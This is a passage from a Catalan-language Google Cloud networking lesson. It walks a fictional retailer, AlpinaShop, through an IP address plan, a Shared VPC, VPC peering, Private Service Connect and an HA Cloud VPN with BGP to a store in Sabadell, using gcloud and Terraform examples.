La xarxa d'AlpinaShop es va dissenyar a 03-01 per a una situació que ja no existeix. Hi havia un projecte que importava, una aplicació a servir i una VPC amb dues subxarxes. Va funcionar perfectament durant quatre mòduls.

Avui la fotografia és una altra. Hi ha quatre projectes —alpinashop-prod, alpinashop-dev, alpinashop-datos i alpinashop-cicd— cadascun amb la seva pròpia VPC, sense saber res dels altres. La Lucía necessita que les seves consultes de BigQuery arribin a la rèplica alpinashop-pedidos-replica-informes, que viu en un altre projecte. El servei de Cloud Run que es va desplegar a 07-02 hauria de parlar amb Cloud SQL per IP privada en lloc de pel connector. La passarel·la de pagament exigeix que les peticions arribin des d'una IP fixa. I DA-004 va deixar compromès un túnel cap a l'ERP MySQL de la botiga de Sabadell que encara no existeix.

A més hi ha un risc que ningú no ha mirat: si demà es filtren les credencials de sa-informes-nocturnos, aquell compte pot llegir tot el dataset alpinashop_analitica i copiar-lo a un bucket de qualsevol altre projecte de Google Cloud del món. IAM autoritza la lectura; res no impedeix la sortida.

Aquesta lliçó resol les cinc coses. En acabar sabràs quan una VPC en un projecte deixa de bastar, dissenyaràs la VPC compartida d'AlpinaShop, distingiràs aparellament de xarxa compartida amb criteri, connectaràs la botiga de Sabadell amb Cloud VPN HA pas a pas entenent el BGP de debò, publicaràs i consumiràs serveis per IP privada amb Private Service Connect, aixecaràs un perímetre de VPC Service Controls al voltant de les dades, i sabràs diagnosticar una fallada de xarxa amb eines en lloc d'amb intuïció.

I sabràs on s'amaga la part de la factura que ningú no mira: el trànsit.

Contingut

  1. Quan una VPC en un projecte deixa de bastar
  2. El disseny d'adreçament de tota l'organització
  3. VPC compartida: projecte amfitrió i projectes de servei
  4. Implementar la VPC compartida d'AlpinaShop
  5. Aparellament de VPC: com funciona i què no fa
  6. Taula de decisió: compartida, aparellament o interconnexió
  7. Private Service Connect: serveis per IP privada
  8. Connectivitat híbrida: les tres opcions per arribar a Sabadell
  9. Cloud VPN HA pas a pas
  10. Cloud Router, BGP i l'encaminament dinàmic de debò
  11. Anunci de rutes i els errors que trenquen la connectivitat
  12. Network Connectivity Center: la topologia radial gestionada
  13. Controls de servei de VPC: el perímetre contra l'exfiltració
  14. Diagnòstic de xarxa: Network Intelligence Center i una fallada real
  15. Nivells de servei Premium i Estàndard
  16. El cost del trànsit: on s'amaga la factura

  1. Quan una VPC en un projecte deixa de bastar

Una VPC en un sol projecte és la resposta correcta durant més temps del que la gent es pensa. Aquests són els senyals concrets que se li ha quedat curta:

Senyal Què el provoca Què el resol
Diversos projectes que necessiten parlar-se per IP privada Separació per entorn o per equip VPC compartida o aparellament
El mateix disseny de xarxa replicat a mà en tres projectes Copiar i enganxar subxarxes i regles VPC compartida
Ningú no sap quines regles de tallafoc hi ha en total Tallafoc repartit entre projectes VPC compartida
Cal arribar a un sistema fora de Google Cloud Un ERP, un mainframe, una oficina VPN o Interconnect
Cal consumir un servei d'un tercer sense sortir a internet SaaS, socis Private Service Connect
Preocupa que algú copiï les dades a fora Credencials filtrades, error humà VPC Service Controls
Els rangs IP comencen a xocar Ningú no en portava el registre Un pla d'adreçament

AlpinaShop marca sis dels set. És el moment.

Però abans de tocar res, cal fer el que gairebé ningú no fa i evita el 80 % dels problemes futurs.

  1. El disseny d'adreçament de tota l'organització

Un pla d'adreçament és un full de càlcul amb quin rang fa servir cada cosa. Sona trivial. És el que separa una xarxa que creix d'una xarxa que cal refer.

La regla que ho governa tot:

Dos rangs que puguin arribar a connectar-se alguna vegada no es poden encavalcar. Mai. Sota cap circumstància.

I és més estricte del que sembla, perquè «alguna vegada» inclou: una fusió d'empreses, un proveïdor que es connecta per VPN, un núvol secundari, una oficina nova, un soci amb qui s'aparellen xarxes. Quan dos rangs s'encavalquen, no hi ha configuració que ho arregli: cal renumerar una de les dues xarxes, amb aturada de servei.

El pla d'AlpinaShop, dissenyat amb marge per a deu anys:

Bloc Rang Ús Estat
10.10.0.0/16 65.536 IP Google Cloud, europe-west1 En ús
10.10.0.0/24 256 sn-web-euw1 — càrregues web En ús
10.10.1.0/24 256 sn-datos-euw1 — bases de dades En ús
10.10.2.0/24 256 sn-dev-euw1 — desenvolupament Nova
10.10.3.0/24 256 sn-datos-analitica-euw1 Nova
10.10.8.0/22 1.024 Rang secundari per a pods de GKE Reservat
10.10.12.0/24 256 Rang secundari per a serveis de GKE Reservat
10.10.16.0/24 256 Subxarxa de només proxy (balancejadors interns) Reservat
10.10.20.0/24 256 Cloud Run — VPC directa Nova
10.10.240.0/20 4.096 Accés a serveis privats (Cloud SQL, Memorystore) En ús
10.20.0.0/16 65.536 Google Cloud, europe-southwest1 (Madrid) Reservat, sense usar
192.168.10.0/24 256 Botiga de Sabadell — xarxa local Existent
192.168.20.0/24 256 Oficina central Existent
172.16.0.0/12 — Prohibit: el fa servir Docker per defecte Bloquejat

Quatre decisions que mereixen explicació:

  1. Reservar 10.20.0.0/16 per a una segona regió encara que no es faci servir. Costa zero. El dia que 07-06 exigeixi multiregió, el rang és lliure i no cal negociar amb ningú.
  2. Els rangs secundaris de GKE es reserven encara que el clúster es retiri. Els rangs de pods són enormes i devorar-los per sorpresa és un clàssic.
  3. 10.10.240.0/20 per a accés a serveis privats. Quan crees una instància de Cloud SQL amb IP privada, Google necessita un rang dins de la teva VPC que et «treu» per al seu ús. Si no ho planifiques, te n'assigna un i després xoca amb alguna cosa.
  4. Prohibir 172.16.0.0/12 explícitament. És el rang que fa servir Docker per defecte per a les seves xarxes pont. Qualsevol contenidor que faci servir aquell rang internament no podrà abastar una IP de la VPC en aquell mateix rang. És una tarda perduda garantida.

Consell: aquest pla viu al repositori alpinashop-infra com a fitxer DIRECCIONAMIENTO.md i es revisa al mateix pull request que crea la subxarxa. Un pla que és al full de càlcul d'algú no és un pla.

  1. VPC compartida: projecte amfitrió i projectes de servei

La VPC compartida (abans XPN, sigles que sobreviuen en algunes comandes i rols) permet que una VPC definida en un projecte sigui usada per recursos d'altres projectes.

flowchart TB
    subgraph HOST["Projecte AMFITRIÓ: alpinashop-red (carpeta compartido)"]
      VPC["alpinashop-vpc"]
      S1["sn-web-euw1<br/>10.10.0.0/24"]
      S2["sn-datos-euw1<br/>10.10.1.0/24"]
      S3["sn-dev-euw1<br/>10.10.2.0/24"]
      FW["Regles fw-*"]
      RT["alpinashop-router-euw1<br/>+ NAT + VPN"]
      VPC --- S1 & S2 & S3 & FW & RT
    end
    subgraph SVC["Projectes de servei"]
      P1["alpinashop-prod<br/>Cloud Run, Cloud SQL"]
      P2["alpinashop-dev<br/>VM de proves"]
      P3["alpinashop-datos<br/>BigQuery, Dataflow"]
    end
    S1 -.->|"usa"| P1
    S3 -.->|"usa"| P2
    S2 -.->|"usa"| P3

    style HOST fill:#e8f0fe,stroke:#4285f4

La idea central, i és elegant:

La xarxa viu en un lloc. Els recursos viuen en un altre. La facturació i els permisos segueixen els recursos.

Una VM d'alpinashop-prod amb una IP de sn-web-euw1 es factura a alpinashop-prod, l'administren els permisos d'alpinashop-prod, i el seu trànsit obeeix les regles de tallafoc que són a alpinashop-red. Pot parlar amb una VM d'alpinashop-dev per IP privada perquè són a la mateixa VPC, encara que siguin projectes diferents.

Qui administra què

Aquest repartiment és la raó de ser de la VPC compartida i la part que cal entendre:

Tasca Qui Rol
Crear la VPC i les subxarxes Equip de xarxa (la Marta) al projecte amfitrió roles/compute.networkAdmin a l'amfitrió
Crear i modificar regles de tallafoc Equip de xarxa a l'amfitrió roles/compute.securityAdmin a l'amfitrió
Configurar Cloud Router, NAT, VPN Equip de xarxa a l'amfitrió roles/compute.networkAdmin
Vincular un projecte de servei Administrador de la VPC compartida roles/compute.xpnAdmin a nivell d'organització o carpeta
Crear una VM en una subxarxa Equip de desenvolupament al seu projecte roles/compute.networkUser sobre la subxarxa concreta
Desplegar Cloud Run amb VPC directa Equip de desenvolupament roles/compute.networkUser sobre la subxarxa

Els dos rols que cal memoritzar:

  • compute.xpnAdmin: qui pot vincular i desvincular projectes de servei. És un rol d'organització o carpeta, no de projecte. Molt poderós: es dona a una o dues persones.
  • compute.networkUser: qui pot fer servir una xarxa o subxarxa. Es pot donar sobre la xarxa sencera (mala idea) o sobre una subxarxa concreta (el correcte).

Aquesta granularitat és la joia del model:

El Dani pot desplegar a sn-dev-euw1 perquè gcp-desarrollo@ té networkUser sobre aquella subxarxa. No pot desplegar a sn-datos-euw1, perquè no el té. Ni tan sols pot veure aquella subxarxa. I no pot tocar cap regla de tallafoc.

És separació de funcions (03-04) aplicada a la xarxa, i s'hereta automàticament per projecte nou si es gestiona amb Terraform.

El que es guanya i el que es paga

Avantatge Detall
Una sola xarxa per entendre Un mapa, un pla d'adreçament, una llista de regles
Tallafoc centralitzat Totes les regles en un lloc, auditables d'una ullada
Sense aparellaments ni túnels interns Els projectes es parlen perquè són a la mateixa xarxa
Un sol Cloud NAT, un sol Cloud Router, una sola VPN Es configura una vegada i serveix a tothom
Separació de funcions real Xarxa centralitzada, còmput distribuït
Menys IP malbaratades Un sol pla d'adreçament
Inconvenient Detall
Colls d'ampolla organitzatius Cada subxarxa nova passa per l'equip de xarxa
Radi d'explosió més gran Un error en una regla de tallafoc de l'amfitrió afecta a tothom
Quotes compartides Les quotes de xarxa són del projecte amfitrió
Corba d'aprenentatge de permisos Cal entendre els dos rols i on s'apliquen
No creua organitzacions Amfitrió i servei han de ser a la mateixa organització

Per a AlpinaShop, amb una persona de xarxa i tres projectes, la centralització és exactament el que vol: la Marta governa la xarxa, el Dani i la Lucía consumeixen subxarxes sense poder trencar-se entre ells.

  1. Implementar la VPC compartida d'AlpinaShop

Es fa en Terraform, com tot des de 06-07. Però primer la comanda equivalent, per entendre què passa.

Pas 1: crear el projecte amfitrió

La decisió de disseny més important: la xarxa va a un projecte propi, alpinashop-red, a la carpeta compartido. No a alpinashop-prod.

Per què? Perquè si la xarxa viu a producció, tothom qui necessiti tocar una subxarxa de desenvolupament necessita permisos al projecte de producció. El projecte amfitrió queda gairebé buit —només xarxa— i això és una virtut: la seva llista de permisos és curta i auditable.

gcloud projects create alpinashop-red \
  --folder=FOLDER_ID_COMPARTIDO \
  --name="AlpinaShop Red"

gcloud beta billing projects link alpinashop-red \
  --billing-account=BILLING_ACCOUNT_ID

gcloud services enable compute.googleapis.com --project=alpinashop-red

Pas 2: habilitar l'amfitrió i vincular els projectes de servei

# Convertir alpinashop-red en projecte amfitrio
gcloud compute shared-vpc enable alpinashop-red

# Vincular els tres projectes de servei
for P in alpinashop-prod alpinashop-dev alpinashop-datos; do
  gcloud compute shared-vpc associated-projects add "$P" --host-project=alpinashop-red
done

# Verificar
gcloud compute shared-vpc get-host-project alpinashop-prod
gcloud compute shared-vpc list-associated-resources alpinashop-red

Fixa't que alpinashop-cicd no es vincula: Cloud Build no necessita IP privada a la VPC per construir imatges, i cada vinculació és superfície que no cal.

Pas 3: les subxarxes amb permisos granulars, en Terraform

# projecte amfitrio: alpinashop-red

resource "google_compute_network" "alpinashop" {
  project                 = "alpinashop-red"
  name                    = "alpinashop-vpc"
  auto_create_subnetworks = false          # SEMPRE false: control total de l adrecament
  routing_mode            = "GLOBAL"       # les rutes apreses per BGP es propaguen a totes les regions
}

resource "google_compute_subnetwork" "web" {
  project                  = "alpinashop-red"
  name                     = "sn-web-euw1"
  ip_cidr_range            = "10.10.0.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true          # arribar a les API de Google sense IP publica (03-01)

  log_config {
    aggregation_interval = "INTERVAL_10_MIN"
    flow_sampling        = 0.5             # 50% de mostreig: equilibri cost/visibilitat
    metadata             = "INCLUDE_ALL_METADATA"
  }
}

resource "google_compute_subnetwork" "datos" {
  project                  = "alpinashop-red"
  name                     = "sn-datos-euw1"
  ip_cidr_range            = "10.10.1.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true
}

resource "google_compute_subnetwork" "dev" {
  project                  = "alpinashop-red"
  name                     = "sn-dev-euw1"
  ip_cidr_range            = "10.10.2.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true
}

# --- Permisos granulars per subxarxa ---

# L equip de desenvolupament NOMES pot fer servir la subxarxa de desenvolupament
resource "google_compute_subnetwork_iam_member" "dev_usa_dev" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.dev.name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

# El compte de servei de Cloud Run necessita la subxarxa web per a VPC directa
resource "google_compute_subnetwork_iam_member" "run_usa_web" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.web.name
  role       = "roles/compute.networkUser"
  member     = "serviceAccount:service-${var.numero_proyecto_prod}@serverless-robot-prod.iam.gserviceaccount.com"
}

# L equip de dades NOMES la subxarxa de dades
resource "google_compute_subnetwork_iam_member" "datos_usa_datos" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.datos.name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

Dos detalls amb conseqüències:

  • routing_mode = "GLOBAL". Amb encaminament regional, les rutes que el Cloud Router aprèn per BGP a europe-west1 només s'anuncien a aquella regió. Si demà hi ha recursos a europe-southwest1, no arribaran a Sabadell. Canviar-ho després obliga a reiniciar les sessions BGP. Posa'l global des del principi.
  • El compte serverless-robot-prod és l'agent de servei de Cloud Run. Quan un servei serverless fa servir VPC directa en una VPC compartida, és aquell compte, no el teu, el que necessita networkUser. És un permís que ningú no endevina i produeix un error críptic en desplegar.

Pas 4: moure el que ja existia

Aquí ve la veritat incòmoda:

Una VM no es pot moure d'una VPC a una altra. Cal recrear-la a la xarxa nova.

La migració d'AlpinaShop, per sort, és senzilla gràcies al que ja s'ha fet:

Recurs Com es mou Interrupció
Cloud Run alpinashop-web Actualitzar --network i --subnet. Crea revisió nova Cap: repartiment de trànsit
Cloud SQL alpinashop-pedidos Requereix reconfigurar l'accés a serveis privats Finestra planificada
alpinashop-cluster (GKE) No es pot migrar: cal recrear el clúster Ja no té producció (07-02)
Balancejador i Cloud Armor Són globals, no depenen de la VPC Cap
Cloud NAT i router Es recreen a l'amfitrió Cap si es fa abans

Que la migració a VPC compartida sigui fàcil és un dividend directe d'haver mogut el catàleg a Cloud Run. Amb el MIG, caldria recrear les VM.

  1. Aparellament de VPC: com funciona i què no fa

L'aparellament de VPC (VPC peering) connecta dues VPC perquè els seus recursos es parlin per IP privada, sense compartir administració.

# Costat A
gcloud compute networks peerings create vpc-a-hacia-b \
  --network=vpc-a --peer-project=proyecto-b --peer-network=vpc-b

# Costat B: TAMBE S HA DE FER. L aparellament no existeix fins que tots dos el creen
gcloud compute networks peerings create vpc-b-hacia-a \
  --network=vpc-b --peer-project=proyecto-a --peer-network=vpc-a

Característiques:

  • Trànsit per la xarxa interna de Google: baixa latència, gran amplada de banda.
  • Sense cost per l'aparellament en si (el trànsit entre zones o regions sí que es paga).
  • Funciona entre organitzacions diferents, a diferència de la VPC compartida.
  • Cada costat manté el seu tallafoc i la seva administració.

I aquí les tres limitacions que defineixen quan serveix i quan no.

Limitació 1: no és transitiu

És la limitació més important i la que més gent descobreix tard.

flowchart LR
    A["VPC A<br/>10.1.0.0/16"] <-->|"aparellament"| B["VPC B<br/>10.2.0.0/16"]
    B <-->|"aparellament"| C["VPC C<br/>10.3.0.0/16"]
    A -.->|"NO HI HA CONNECTIVITAT"| C

    style A fill:#e8f0fe
    style C fill:#fce8e6

Si A s'aparella amb B, i B amb C, A no pot parlar amb C. Ni afegint rutes, ni amb un proxy a B (això ja no és aparellament). Per a N xarxes que hagin de parlar-se totes amb totes calen N×(N−1)/2 aparellaments: 3 xarxes en són 3, 5 xarxes en són 10, 10 xarxes en són 45. Deixa de ser gestionable ràpid — i aquest és exactament el problema que resol Network Connectivity Center (apartat 12).

La conseqüència pràctica més habitual: una VPC aparellada no pot abastar a través teu la teva VPN a les oficines. És un cas que apareix constantment i sorprèn sempre.

Limitació 2: els rangs no es poden encavalcar

Si A fa servir 10.1.0.0/16 i C també, no es poden aparellar mai. I no hi ha NAT que valgui a l'aparellament. És el motiu de l'apartat 2.

Limitació 3: quotes agregades

Les rutes, regles de reenviament i adreces internes se sumen entre xarxes aparellades a efectes de quota. En xarxes grans això esdevé un límit real.

Control fi: què s'anuncia

Per defecte només s'intercanvien les rutes de les subxarxes. Es pot afinar:

gcloud compute networks peerings update vpc-a-hacia-b \
  --network=vpc-a \
  --export-custom-routes \        # exportar rutes estatiques i apreses per BGP
  --import-custom-routes          # importar les de l altre costat

--export-custom-routes és el que permet que l'altra VPC abasti, per exemple, la xarxa de Sabadell a través de la teva VPN. Està desactivat per defecte i és la causa número u de «l'aparellament està establert però no hi arribo».

  1. Taula de decisió: compartida, aparellament o interconnexió

Criteri VPC compartida Aparellament de VPC Network Connectivity Center
Administració de la xarxa Centralitzada Independent a cada costat Centralitzada (radial)
Mateixa organització? Obligatori No cal Habitualment sí
Transitivitat Total (és una sola xarxa) No Sí, via l'eix
Rangs encavalcats Impossibles per disseny Prohibits Prohibits
Regles de tallafoc Unes, a l'amfitrió Unes per VPC Per radi
Escala Centenars de projectes de servei Es degrada amb N² Centenars de radis
Cost Sense cost addicional Sense cost addicional Per radi i hora
Cas típic Una empresa, diversos equips Dues empreses, un soci, un SaaS Moltes xarxes i seus
AlpinaShop Sí, és l'elecció Només si apareix un soci No cal

La regla de decisió:

Els projectes són meus i vull una sola xarxa per governar? → VPC compartida. L'altra xarxa és d'algú altre, o necessito administracions separades? → Aparellament. Tinc més de cinc xarxes i seus que s'han de parlar totes? → Network Connectivity Center.

  1. Private Service Connect: serveis per IP privada

Private Service Connect (PSC) resol un problema diferent: consumir un servei per una IP privada de la teva pròpia VPC, sense aparellar xarxes i sense exposar res a internet.

Té tres usos, i convé distingir-los:

Ús 1: accedir a les API de Google per una IP privada teva

A 03-01 es va activar Private Google Access, que permet a una VM sense IP pública arribar a storage.googleapis.com fent servir el rang 199.36.153.8/30. Funciona, però el destí continua sent una IP de Google.

Amb PSC crees un extrem amb una IP del teu propi rang:

# Reservar una IP interna per a l extrem
gcloud compute addresses create psc-apis-google \
  --global --purpose=PRIVATE_SERVICE_CONNECT \
  --addresses=10.10.250.10 \
  --network=alpinashop-vpc \
  --project=alpinashop-red

# Crear l extrem cap a totes les API de Google
gcloud compute forwarding-rules create psc-apis-google \
  --global \
  --network=alpinashop-vpc \
  --address=psc-apis-google \
  --target-google-apis-bundle=all-apis \
  --project=alpinashop-red

A partir d'aquí, 10.10.250.10 és el punt d'accés a les API de Google. Amb un registre DNS privat (*.googleapis.com → 10.10.250.10) tot el trànsit a les API hi passa.

Què es guanya davant de Private Google Access? Tres coses concretes:

  1. Funciona des de fora de la VPC: des de Sabadell, a través del túnel VPN, una màquina pot arribar a 10.10.250.10 i fer servir Cloud Storage. Amb Private Google Access, no. Aquest és el motiu principal.
  2. Una IP teva que pots controlar amb tallafoc i veure als Flow Logs.
  3. És requisit habitual quan hi ha VPC Service Controls, amb el paquet vpc-sc en lloc d'all-apis.

Ús 2: consumir un servei publicat per un tercer

Un SaaS —una plataforma de dades, un proveïdor de pagaments— publica el seu servei com a PSC. Tu crees un extrem a la teva VPC amb una IP teva, i consumeixes el servei sense sortir a internet, sense VPN i sense aparellar xarxes:

gcloud compute forwarding-rules create psc-proveedor-pagos \
  --region=europe-west1 \
  --network=alpinashop-vpc \
  --address=10.10.250.20 \
  --target-service-attachment=projects/PROVEEDOR/regions/europe-west1/serviceAttachments/sa-pagos

Avantatge decisiu sobre l'aparellament: no es comparteixen rangs ni rutes. El proveïdor no veu la teva xarxa i tu no veus la seva. Només s'exposa el servei concret. Per això PSC ha substituït l'aparellament com a forma estàndard de connectar amb proveïdors.

Ús 3: publicar el teu propi servei

Simètricament, AlpinaShop podria publicar la seva API de socis darrere d'un balancejador intern i exposar-la com a service attachment perquè les botigues associades la consumeixin des de les seves pròpies VPC.

flowchart LR
    subgraph CONS["VPC del consumidor"]
      EP["Extrem PSC<br/>10.50.0.5"]
    end
    subgraph PROD["VPC d AlpinaShop"]
      SA["Service attachment"] --> ILB["Balancejador intern"] --> API["API de socis"]
    end
    EP -->|"xarxa de Google, IP privada"| SA

Comparació de les formes d'accés privat

Mecanisme Per a què IP de destí
Private Google Access VM sense IP pública → API de Google De Google (199.36.153.8/30)
Private Service Connect Qualsevol → API de Google o serveis de tercers Teva
Accés a serveis privats Cloud SQL, Memorystore amb IP privada Del rang que vas cedir (10.10.240.0/20)
Aparellament VPC ↔ VPC completes De l'altre costat

  1. Connectivitat híbrida: les tres opcions per arribar a Sabadell

DA-004 va comprometre un enllaç privat amb la botiga. Hi ha tres maneres.

Cloud VPN HA Partner Interconnect Dedicated Interconnect
Mitjà Internet, xifrat IPsec Proveïdor de serveis Fibra física pròpia
Amplada de banda Fins a 3 Gbps per túnel (típic 1,5-3) 50 Mbps – 50 Gbps 10 o 100 Gbps per enllaç
Latència La d'internet + xifratge Baixa i estable La més baixa i estable
SLA 99,99 % amb configuració HA 99,9 % o 99,99 % segons topologia 99,9 % o 99,99 % segons topologia
Termini de posada en marxa Minuts Dies o setmanes Setmanes o mesos
Cost mensual De l'ordre de desenes de € per túnel Centenars a milers de € Milers de € + instal·lació
Xifratge IPsec, inclòs No per defecte (s'hi afegeix MACsec o VPN a sobre) No per defecte
Requereix presència física No Al proveïdor En un punt d'interconnexió de Google
Quan Fins a ~3 Gbps, arrencada ràpida Amplada mitjana, sense presència física Molt volum, latència crítica

Per a AlpinaShop la decisió no té discussió. El trànsit previst són unes taules d'estoc cada 10 minuts i uns centenars de comandes al dia: kilobytes, no gigabytes. Contractar un Interconnect per a això seria com llogar un tràiler per portar la compra. Cloud VPN HA, en minuts i per desenes d'euros al mes.

Un apunt sobre quan canviaria: si calgués replicar contínuament una base de dades gran, si el volum superés de manera sostinguda 1-2 Gbps, o si la latència d'internet fos inacceptable per a un procés interactiu. Cap no s'aplica.

  1. Cloud VPN HA pas a pas

Cloud VPN HA (alta disponibilitat) és la versió amb SLA del 99,99 %. La diferència amb la VPN clàssica:

VPN clàssica (obsoleta) Cloud VPN HA
Interfícies de la passarel·la 1 2, amb IP públiques diferents
Túnels mínims 1 2
Encaminament Estàtic o dinàmic Dinàmic amb BGP obligatori
SLA 99,9 % 99,99 % amb dos túnels a dos dispositius

Per aconseguir el 99,99 % calen dos túnels des de les dues interfícies de la passarel·la de Google cap a dos dispositius (o almenys dues IP) de l'altre costat. Amb un sol dispositiu a Sabadell s'aconsegueix 99,9 %, que per a una botiga és més que suficient.

flowchart LR
    subgraph GCP["Google Cloud - alpinashop-red"]
      GW["alpinashop-vpn-gw<br/>if0: 34.x.x.1<br/>if1: 34.x.x.2"]
      CR["alpinashop-router-euw1<br/>ASN 65001"]
      VPC["alpinashop-vpc<br/>10.10.0.0/16"]
      GW --- CR --- VPC
    end
    subgraph SAB["Botiga de Sabadell"]
      FW["Router/tallafoc<br/>IP pública 88.x.x.x<br/>ASN 65010"]
      LAN["LAN 192.168.10.0/24"]
      ERP["ERP MySQL<br/>192.168.10.20"]
      FW --- LAN --- ERP
    end
    GW <-->|"túnel 0 - IPsec"| FW
    GW <-->|"túnel 1 - IPsec"| FW

Pas 1: la passarel·la VPN HA

gcloud compute vpn-gateways create alpinashop-vpn-gw \
  --network=alpinashop-vpc \
  --region=europe-west1 \
  --project=alpinashop-red

gcloud compute vpn-gateways describe alpinashop-vpn-gw \
  --region=europe-west1 --format="get(vpnInterfaces)"

Google assigna dues IP públiques, una per interfície. S'apunten: són les que cal configurar al router de Sabadell.

Pas 2: la passarel·la de l'altre costat

Google necessita saber com és el dispositiu remot:

gcloud compute external-vpn-gateways create gw-sabadell \
  --interfaces=0=88.20.145.7 \
  --project=alpinashop-red

--interfaces=0=IP declara un dispositiu. Si a Sabadell hi hagués dos routers, seria 0=IP_A,1=IP_B i s'assoliria el 99,99 %.

Pas 3: el Cloud Router

gcloud compute routers create alpinashop-router-euw1 \
  --network=alpinashop-vpc \
  --region=europe-west1 \
  --asn=65001 \
  --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --project=alpinashop-red
  • --asn=65001: número de sistema autònom de Google en aquesta sessió BGP. Es fa servir el rang privat 64512-65534.
  • --advertisement-mode=custom: control explícit del que s'anuncia. Amb default s'anuncien totes les subxarxes automàticament; custom obliga a decidir, que és el correcte (apartat 11).

Si el router ja existeix pel Cloud NAT de 03-01, es reutilitza: un Cloud Router serveix alhora per a NAT i per a VPN.

Pas 4: els dos túnels

SECRETO=$(openssl rand -base64 32)   # i es desa a Secret Manager, no a l historial

for I in 0 1; do
  gcloud compute vpn-tunnels create tunel-sabadell-$I \
    --peer-external-gateway=gw-sabadell \
    --peer-external-gateway-interface=0 \
    --region=europe-west1 \
    --ike-version=2 \
    --shared-secret="$SECRETO" \
    --router=alpinashop-router-euw1 \
    --vpn-gateway=alpinashop-vpn-gw \
    --interface=$I \
    --project=alpinashop-red
done
  • --interface=$I: cada túnel surt per una interfície diferent de la passarel·la. Aquí hi ha la redundància.
  • --ike-version=2: IKEv2 sempre. IKEv1 només si l'equip remot és antic.
  • --shared-secret: la clau precompartida. Ha de coincidir exactament amb la del router de Sabadell i va a Secret Manager (03-06), mai a un fitxer de Terraform.

Pas 5: les sessions BGP

Cada túnel necessita la seva sessió BGP, amb IP d'enllaç en un /30 del rang d'enllaç local 169.254.0.0/16:

for I in 0 1; do
  gcloud compute routers add-interface alpinashop-router-euw1 \
    --interface-name=if-tunel-$I \
    --vpn-tunnel=tunel-sabadell-$I \
    --ip-address=169.254.10.$((1 + I*4)) \
    --mask-length=30 \
    --region=europe-west1 --project=alpinashop-red

  gcloud compute routers add-bgp-peer alpinashop-router-euw1 \
    --peer-name=bgp-sabadell-$I \
    --interface=if-tunel-$I \
    --peer-ip-address=169.254.10.$((2 + I*4)) \
    --peer-asn=65010 \
    --advertised-route-priority=$((100 + I*100)) \
    --region=europe-west1 --project=alpinashop-red
done

Adreçament resultant:

Túnel IP de Google IP de Sabadell Prioritat
0 169.254.10.1/30 169.254.10.2 100 (preferit)
1 169.254.10.5/30 169.254.10.6 200 (reserva)

--advertised-route-priority més baixa guanya. Amb aquestes prioritats, el túnel 0 és l'actiu i l'1 la reserva; si el 0 cau, BGP convergeix a l'1 en segons. Per a actiu-actiu es posaria la mateixa prioritat als dos i el trànsit es repartiria per ECMP.

Pas 6: tallafoc i verificació

gcloud compute firewall-rules create fw-permitir-desde-sabadell \
  --network=alpinashop-vpc \
  --direction=INGRESS \
  --action=allow \
  --rules=tcp:3306,icmp \
  --source-ranges=192.168.10.0/24 \
  --target-tags=acceso-erp \
  --project=alpinashop-red

# Estat dels tunels: es busca "ESTABLISHED"
gcloud compute vpn-tunnels list --project=alpinashop-red \
  --format="table(name,status,detailedStatus)"

# Estat del BGP: es busca "UP" i les rutes apreses
gcloud compute routers get-status alpinashop-router-euw1 \
  --region=europe-west1 --project=alpinashop-red \
  --format="yaml(result.bgpPeerStatus)"

La sortida bona té aquest aspecte:

result:
  bgpPeerStatus:
  - name: bgp-sabadell-0
    state: Established
    status: UP
    numLearnedRoutes: 1
    advertisedRoutes: [10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24]
    learnedRoutes:
    - destIpRange: 192.168.10.0/24

numLearnedRoutes: 1 i 192.168.10.0/24 a learnedRoutes és la prova que funciona. Si el túnel està ESTABLISHED però numLearnedRoutes: 0, el problema no és la VPN: és que l'altre costat no anuncia res per BGP.

  1. Cloud Router, BGP i l'encaminament dinàmic de debò

Val la pena entendre què està passant, perquè gairebé totes les fallades de connectivitat híbrida són d'encaminament i no del túnel.

BGP (Border Gateway Protocol) és el protocol amb el qual dues xarxes s'expliquen quins destins saben abastar. Cada xarxa té un identificador, l'ASN, i anuncia els seus prefixos.

Concepte Què és A AlpinaShop
ASN Identificador de la xarxa Google: 65001. Sabadell: 65010
Sessió BGP Conversa TCP:179 entre dos routers Una per túnel
Ruta anunciada «Jo sé arribar a X» Google anuncia 10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24
Ruta apresa El que l'altre anuncia Google aprèn 192.168.10.0/24
Prioritat / MED Preferència entre camins 100 vs 200

La diferència amb l'encaminament estàtic és la que justifica tot l'aparell:

Estàtic Dinàmic (BGP)
Rutes noves S'afegeixen a mà als dos costats S'anuncien soles
Caiguda d'un túnel El trànsit continua anant al túnel mort Convergeix a l'altre en segons
Subxarxa nova a GCP Editar el router remot S'anuncia sola
Escala Es torna immanejable Bé

El cas que ho fa evident: quan la Marta creï sn-run-euw1 (10.10.20.0/24) per a la VPC directa de Cloud Run, el Cloud Router l'anunciarà automàticament a Sabadell i l'ERP hi podrà respondre sense que ningú toqui el router de la botiga. Amb rutes estàtiques, caldria trucar al proveïdor de la botiga cada vegada.

I el detall que s'oblida: l'encaminament global de l'apartat 4. Amb routing_mode = REGIONAL, un Cloud Router d'europe-west1 només anuncia subxarxes d'europe-west1. Amb GLOBAL, les anuncia totes.

  1. Anunci de rutes i els errors que trenquen la connectivitat

Amb --advertisement-mode=custom es decideix exactament què s'anuncia. Casos habituals:

# Anunciar les subxarxes MES un rang que no es una subxarxa
# (per exemple el rang d acces a serveis privats on viu Cloud SQL)
gcloud compute routers update alpinashop-router-euw1 \
  --region=europe-west1 \
  --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --set-advertisement-ranges=10.10.240.0/20=rango-cloud-sql \
  --project=alpinashop-red

